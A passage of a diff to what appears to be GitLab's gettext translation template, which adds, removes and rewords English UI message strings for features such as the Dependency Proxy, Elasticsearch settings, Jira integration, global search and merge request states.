+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|There are no images in the cache"
+msgstr ""
+
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11533,9 +11750,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11765,7 +11979,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12032,6 +12246,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12199,6 +12416,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12289,9 +12509,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12325,6 +12542,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12403,9 +12623,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12499,6 +12725,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12514,6 +12743,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12535,6 +12767,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12634,9 +12869,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12688,6 +12920,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12709,6 +12944,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12781,6 +13019,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12955,6 +13196,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13038,16 +13285,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13287,9 +13531,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13338,9 +13579,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13677,7 +13915,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13859,9 +14097,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -13979,6 +14214,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14054,6 +14295,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14170,6 +14417,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14236,6 +14486,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14248,9 +14501,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14690,6 +14940,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14786,15 +15039,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -14873,6 +15117,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15086,6 +15333,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15191,9 +15441,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15467,9 +15714,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15641,6 +15885,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15704,6 +15951,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15875,6 +16125,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16022,7 +16317,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16079,6 +16386,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16343,7 +16653,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16643,6 +16953,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16820,7 +17136,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16835,7 +17154,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16934,6 +17256,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17199,7 +17524,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17238,6 +17563,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18015,7 +18343,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18180,9 +18511,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18246,6 +18574,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18461,12 +18792,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18584,6 +18921,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18599,6 +18939,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18629,7 +18975,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18686,7 +19035,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18824,22 +19173,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18854,9 +19200,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18875,9 +19218,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19064,6 +19404,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19139,6 +19482,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19196,16 +19542,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19214,9 +19557,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19310,6 +19650,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19319,6 +19662,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19415,9 +19761,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19442,9 +19794,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19553,18 +19902,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19583,18 +19923,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19604,6 +19938,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19613,12 +19950,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19649,9 +19980,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19949,6 +20277,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20293,7 +20624,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20398,6 +20729,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20443,6 +20777,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20581,9 +20918,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20611,13 +20945,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20635,6 +20969,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20850,7 +21187,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20931,7 +21268,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21144,6 +21481,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21162,6 +21502,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21369,9 +21712,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21534,6 +21874,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21549,6 +21895,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21594,22 +21943,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21729,6 +22069,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22366,6 +22718,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22617,9 +22972,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22770,9 +23122,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22797,6 +23146,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23000,6 +23352,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23036,6 +23391,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23231,6 +23589,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23279,9 +23640,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23324,6 +23691,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23345,6 +23715,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23440,6 +23813,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23655,7 +24031,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23811,7 +24187,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23895,6 +24271,12 @@ msgstr ""
